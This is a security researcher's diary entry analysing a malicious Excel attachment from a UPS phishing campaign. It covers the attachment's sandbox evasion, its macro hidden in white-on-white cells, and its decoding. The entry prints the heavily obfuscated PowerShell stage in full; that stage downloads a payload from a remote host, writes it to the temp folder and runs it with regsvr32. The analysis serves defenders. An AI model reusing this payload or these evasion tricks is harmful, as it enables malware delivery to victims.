Malicious Excel With a Strong Obfuscation and Sandbox Evasion
For a few weeks, we see a bunch of Excel documents spread in the wild with Macro V4[1]. But VBA macros remain a classic way to drop the next stage of the attack on the victim’s computer. The attacker has many ways to fetch the next stage. He can download it from a compromised server or a public service like pastebin.com, dropbox.com, or any other service that allows sharing content. The problem is, in this case, that it generates more noise via new network flows and the attack depends on the reactivity of the other party to clean up the malicious content. If this happens, the macro won’t be able to fetch the data and the infection will fail. The other approach is to store the payload in the document metadata, the document itself or appended to it.
Metadata may contain suspicious data, here is a sample found this week that used specific fields on the Excel file:
The example that I will analyze today was found via a UPS phishing campaign. Here is a screenshot of the Excel sheet once opened:
I found several emails with the same kind of attachments named '_-<number>.xls'. My sample SHA256 is b4b3bb99bc136adeb142c49f81812f5222250b6e30bbf62e4837df28583aadf3 (unknown on VT at the this time) and it contains a classic VBA macro:
remnux@remnux:/malwarezoo$ oledump.py _-870301049.xls | egrep ": [Mm]" 18: M 3676 '_VBA_PROJECT_CUR/VBA/Sheet1' 19: m 999 '_VBA_PROJECT_CUR/VBA/ThisWorkbook'
Before analyzing the macro, it's interesting to spot the implementation of a simple sandbox evasion technique: When the document is opened, It is not executed automatically via the classic methods Workbook_Open() or Auto_Open()! The victim is asked to click on the “View and Pay your Invoices” (see the screenshot above). The button has this value:
=EMBED("Forms.ToggleButton.1","")
The technique used is a Layout event[2]. Let's have a look at the macro:
Attribute VB_Control = "google, 1, 0, MSForms, MultiPage" Attribute VB_Control = "pay, 5, 1, MSForms, ToggleButton" ... Sub toggle() ... End Sub Private Sub google_Layout(ByVal Index As Long) toggle End Sub
The user has to click on the button to run the macro!
The toogle() function contains the malicious code that extracts the next payload. Here, we have a good old technique that splits the content of the payload into multiple cells in the Excel sheet:
WScript.Quit (CreateObject("WScript.Shell").Run(undo(11000 + 956), 0, False)) ... Function undo(home As Integer) Dim tsi(): Dim Lo As Integer modul = echo(ActiveSheet.[E90:E106], "") For apo = 1 To Len(modul) ReDim Preserve tsi(apo) tsi(apo) = Mid(modul, apo, 1) Next tk = "" For Lo = 0 To home Step 4 tk = tk + tsi(Lo) Next undo = tk End Function
Cells E90 to E106 contains code (hidden with a white on white font). The content of interesting cells is concatenated but obfuscated: (here are only the first bytes)
11FWreeM eBiookcs a t P'lanpet reBoOok.CcomEManSn, sinq'uir ed Mr." BuCmblAe, lgraLspi"ng his cacne,R toe keaep ttheE pa ris h o ffi"cerPs aO wawitiEng rat syouhr geardLen-lgat e, whe-n twheyi conme her0e u0pon0 po0roc0hia1l b usi-nesns wOithp thRe pOorofchiIal lor-epha ns? Ar -e yNou oawener,i Mrns. TManEn, RthaAt ycou TareI, a s I ma-y seay,X a Epor ochbialy dePlegAateS, aSnd a s tip.end iar(y?I m s$urep MrS. BH umbOle,M thEat [I w2as 1onl]y a+ te$llipng soneH oro twMo oEf t[he 3dea4r c]hil+dre'n aXs i's s)o f(ond of" yo\u, "tha&t i(t w(as VyouA a rc omIinga, rbeplLiedE Mr s. 'Man*n wmithd grReat* hu'mil)ity..MrN. BAumbMle Ehad[ a 3gre"at \ide"a o f h is +ora[torSicaTl proweirs NandG hi]s i[mpoCrtaHnceA. HRe h]ad 4dis4pla+yed th"e o\ne," an1d v1ind"ica\ted" th e o the+r. [He SrelTaxerd.WiellN, wGell], M[rs.C MaHnn,A heR re]pli 4ed 4in +a c alm"er \ton"e; 2it ]may- beJ asO yoIu snay;' it' ma)y b e. (Lea d tnhe ewayw in-, Mors.B Majnn,e focr IT co me on ibusoine.ss,S antd hRaveE soametMhinrg teo sAay.DMrse. Mrann( us(her ed nthee bewadl-e iontoB a jsmaell cparTlou r w ithS a ybrisck tfloEor;M pl.aceid aO se.at CforO hiMm; PandR ofEficSiousslyi deOposNite.d hdis ecocFkedL haat aTnd ecans onT thRe tEablAe bmefo(re him[. Mir. oBum.bleM wiEpedm f room rhisY foSrehteadr thEe paersMpir]ati[on cwhiOch nhisV waelk RhadT en]gen:der:ed,f glrancOed McomBplaacenstlye at6 th4e csockTed rhatI, a Nnd Gsmi(led'. Yfes,V hec smNilecd. 9BeapdleGs aEre Pbut0 mern: qands Mrb. BtumbSle QsmiUledU.Noww dEontm yoau bme ovffeGnde0d aAt wghatQ Imh a wgoiUng Ato Nsayx, okbsekrveJd M0rs.x MaNnn,w wiGth DcapVtivCatiUng CsweGetnwessH. YXouvre h/ad va lWong/ wavlk,E yoAu kinow3, o0r I/ woFu
Again, the attacker decided to not use a classic Base64 encoding that is way too easy to detect. Nothing relevant detected by base64dump:
remnux@remnux:/malwarezoo$ base64dump.py -n 50 _-870301049.xls ID Size Encoded Decoded MD5 decoded -- ---- ------- ------- -----------
The de-obfuscation is very simple: the very long string is processed in a loop and extract characters by step of 4. From the string above: 'W', 'M', 'i', 'c', ...
Let’s decode it in Python (the cells have been concatenated in a file):
>>> with open(‘cells.txt', 'r') as file: ... data = file.read() >>> payload=‘’ >>> for i in range(1, len(data), 4): ... payload+=data[I] >>> payload
The decoded payload starts with a big useless comment but here is the interesting part of the deobfuscated code:
WMic \'prOCESs\' "CAlL" cReatE "POwErsheLl -win 000001 -nOpROfIle -NoninTERAcTI -eXE byPASS . ( $pSHOME[21]+$psHoME[34]+\'X\') ("\\"&((VArIabLE \'*mdR*\').NAME[3"\\" +[STriNG][CHAR]44+ "\\"11"\\" +[STriNG][CHAR]44+ "\\"2]-JOIn\'\') ( new-oBjecT io.StREaMreADer(( new-oBjecT SystEM.iO.COMPRESsiON.deFLaTesTREAm( [io.MEmorYStrEaM][cOnVeRT]::frOMBase64sTrING( ...
Now, we have a Base64-encoded and compressed chunk of data after the frOMBase64sTrING(). Let's decode it:
.("{1}{2}{0}"-f'm','se','T-itE') ("{0}{2}{1}" -f 'Va','lE:3uAp','riab') ( [TypE]("{1}{2}{5}{3}{4}{0}" -f'mBlY','RE','fLEcTI','s','SE','On.A') ); &("{2}{1}{0}"-f'M','TE','seT-i') ('varIABLE'+':'+'6p12') ( [tYPE]("{4}{2}{0}{1}{3}{6}{10}{9}{5}{11}{8}{7}" -F 'ECurIT','Y.pRInCi','ySteM.S','P','s','o','A','ItY','siDEnt','WInD','L.','W') ) ; .('sV') ('zp'+'2') ( [tYPe]("{2}{4}{0}{3}{1}" -f '.enC','ng','T','odI','EXT') ); .("{0}{1}" -f'sET-IT','em') ('VAri'+'abLE:'+'pK'+'O') ( [type]("{0}{1}{2}"-F'c','O','nVeRT') ); &("{0}{2}{1}" -f 'SEt','TEM','-I') ('variAble:2Z'+'sT'+'u') ([tYPE]("{0}{2}{1}" -F 'iO.FI','e','L') ) ; .("{1}{2}{0}"-f'BlE','Set-v','aRiA') ('qf'+'18'+'pc') ( [TYpe]("{0}{1}"-f'RE','Gex') ) ; ${G}=1;function iB(${I`H}){$(${i`h}.("{0}{1}" -f 's','ubstring').Invoke(${G}) -replace('-',''));return ${_}};${q`E}=(.("{0}{1}{2}" -f'Ge','t-Pro','cess') -Id ${P`Id})."M`AiNwi`NdO`wh`ANdLe";${ca}=[Runtime.InteropServices.HandleRef];${x`X}=.("{2}{0}{1}" -f'-Obj','ect','New') ${c`A}(${G},${q`E});${t}=&("{1}{0}{2}"-f '-Obj','New','ect') ${CA}(2,0);(( ${3u`Ap}::("{1}{3}{4}{0}{2}" -f'a','Loa','rtialName','dWit','hP').Invoke(("{1}{2}{0}{3}" -f'wsB','Wi','ndo','ase'))).("{2}{1}{0}"-f 'Type','t','Ge').Invoke(("{2}{4}{0}{5}{3}{1}"-f'.Uns','ethods','MS.Win','feNativeM','32','a')))::("{2}{3}{0}{1}"-f 'ndow','Pos','S','etWi').Invoke(${x`x},${t},0,0,100,100,16000+512);${I}=("{1}{2}{0}" -f 'demo','om ','/i');${i}=${i}.("{1}{0}" -f 'plit','s').Invoke(' ');${eE`Fd}=&('ib')(( (&("{1}{0}{3}{2}"-f'ET-c','G','teM','hIlDI') ('vARiABLe'+':'+'6p12') )."va`LUe"::("{2}{0}{1}"-f 'e','nt','GetCurr').Invoke())."u`sEr"."VAL`UE");${E}='ht'+("{0}{1}"-f 'tps',':/')+${I}[${G}]+'ten'+'.c'+(${I}[0,${G}] -replace '(\D{6})','/')+'?'+${E`Efd};.('Si') ("{2}{0}{1}" -f'riable:/','f','Va') ${E}.("{1}{0}{2}"-f 'pl','re','ace').Invoke(' ','');&('Sv') 1 ("{1}{0}{2}"-f'WebCl','Net.','ient');&('SI') ("{2}{1}{0}"-f 'C2','e:','Variabl') (.("{1}{2}{0}" -f 't','Ne','w-Objec') (.('Gv') 1 -Va));.('SV') ('c') ("{2}{0}{1}{3}" -f 'n','loadDa','Dow','ta');${o`Ad}=(([Char[]](.("{1}{2}{0}" -f'able','Va','ri') ('C2') -ValueOn).((&("{1}{0}"-f'riable','Va') ('c') -Val))."in`VOkE"((&("{2}{0}{1}"-f'iab','le','Var') ('f'))."vAL`Ue"))-Join'');${t`Fg}=${eN`V`:T`EmP};${M`I}=(${d}=&("{0}{1}"-f 'g','ci') ${T`Fg}|.("{2}{1}{0}" -f'm','et-rando','g'))."n`AME" -replace ".{4}$";${w}=${t`Fg}+'\'+${mi}+'.';${f`Gua}=${o`AD}.("{0}{2}{3}{1}"-f 'sub','ng','st','ri').Invoke(0,${G});${P}=[int]${F`GUa}*100;${a`AO} =${O`Ad}.("{2}{0}{1}"-f'm','ove','re').Invoke(0,${G});${pl}=${A`Ao} -split'!';.("{0}{1}" -f'sa','l') ('AI') ("{0}{1}{2}" -f'regs','vr','32');${I`kLO}= ( .("{0}{1}{2}"-f'G','ET-i','tem') ('vArIAb'+'LE:z'+'P2'))."va`LUe"::"Ut`F8";function r`EaDd(${a`BC}){${SA}= ${p`kO}::("{2}{0}{4}{3}{1}" -f'ro','ring','F','se64St','mBa').Invoke(${A`Bc});return ${SA}};foreach(${i`I} in ${p`l}[0]){${G}=@();${p`Pt}=${Fg`Ua}.("{1}{0}{2}" -f'arA','ToCh','rray').Invoke();${II}=&("{1}{0}" -f 'dd','Rea')(${i`i});for(${Jl}=0; ${j`L} -lt ${i`i}."c`OUNt"; ${j`L}++){${G} += [char]([Byte]${I`i}[${JL}] -bxor[Byte]${p`pT}[${j`L}%${p`pt}."C`OUnT"])}};${aa`xe}=${a`AO}."R`EPlacE"((${PL}[0]+"!"),${I`KLo}."Gets`T`RinG"(${g})); ${2Z`sTU}::("{2}{3}{0}{1}"-f 'AllByt','es','Writ','e').Invoke(${w},(.("{1}{0}" -f 'd','Read')(${A`AXE} -replace ".{200}$")));if((.("{0}{1}" -f 'gc','i') ${W})."Le`NGtH" -lt ${P}){exit};.("{0}{1}" -f 'sl','eep') 10;&('AI') -s ${W};.("{0}{1}" -f 'sl','eep') 15; ( .("{1}{0}" -f 'teM','i') ('VaRiAbLE:2z'+'ST'+'u') )."va`lUE"::("{0}{1}{2}"-f'Writ','eA','llLines').Invoke(${W}, ( .("{2}{0}{1}"-f 'VAr','iaBle','GeT-') ('QF'+'18'+'pC'))."V`AlUE"::("{2}{1}{0}"-f'ce','pla','re').Invoke(${EE`Fd},'\D',''))
As you can see, it is pretty well obfuscated! The main technique used by the attacker is to use format strings with the '-f' operator. Example:
("{1}{2}{0}"-f'BlE','Set-v','aRiA')
Will be decoded as:
Set-vaRiABle
Let's try to find something interesting in this code as a practical example. Is there an URL encoded somewhere?
${G}=1; ${I}=("{1}{2}{0}" -f 'demo','om ','/i') ${eE`Fd}=&('ib')(( (&("{1}{0}{3}{2}"-f'ET-c','G','teM','hIlDI') ('vARiABLe'+':'+'6p12') )."va`LUe"::("{2}{0}{1}"-f 'e','nt','GetCurr').Invoke())."u`sEr"."VAL`UE"); ${E}='ht'+("{0}{1}"-f 'tps',':/')+${I}[${G}]+'ten'+'.c'+(${I}[0,${G}] -replace '(\D{6})','/')+'?'+${E`Efd};
And the variable '${E}' will contain 'hxxps://idemoten[.]com /?15211866265027187085091015791359731000'. But I was not able to fetch any valuable content from this URL...
Another trick used by the attacker: To hidden the window from the user. The position of the Window running the payload is set outside the screen resolution:
(( ${3u`Ap}::("{1}{3}{4}{0}{2}" -f'a','Loa','rtialName','dWit','hP').Invoke(("{1}{2}{0}{3}" -f'wsB','Wi','ndo','ase'))).("{2}{1}{0}"-f 'Type','t','Ge').Invoke(("{2}{4}{0}{5}{3}{1}"-f'.Uns','ethods','MS.Win','feNativeM','32','a')))::("{2}{3}{0}{1}"-f 'ndow','Pos','S','etWi').Invoke(${x`x},${t},0,0,100,100,16000+512);
Decoded:
((${3u`Ap}::("LoadWithPartialName").Invoke("WindowsBase")).GetType.Invoke("MS32UnsafeNativeMethods"))::SetWindowPos.Invoke(${x`x},${t},0,0,100,100,16000+512);
As you can see, attackers have plenty of ideas to implement sandbox evasion tricks and obfuscation techniques...
[1] https://isc.sans.edu/forums/diary/Maldoc+Excel+40+Macros/24750
[2] https://docs.microsoft.com/en-us/office/vba/language/reference/user-interface-help/layout-event
Xavier Mertens (@xme)
Senior ISC Handler - Freelance Cyber Security Consultant
PGP Key
Reverse-Engineering Malware: Advanced Code Analysis | Singapore | Nov 18th - Nov 22nd 2024 |
Comments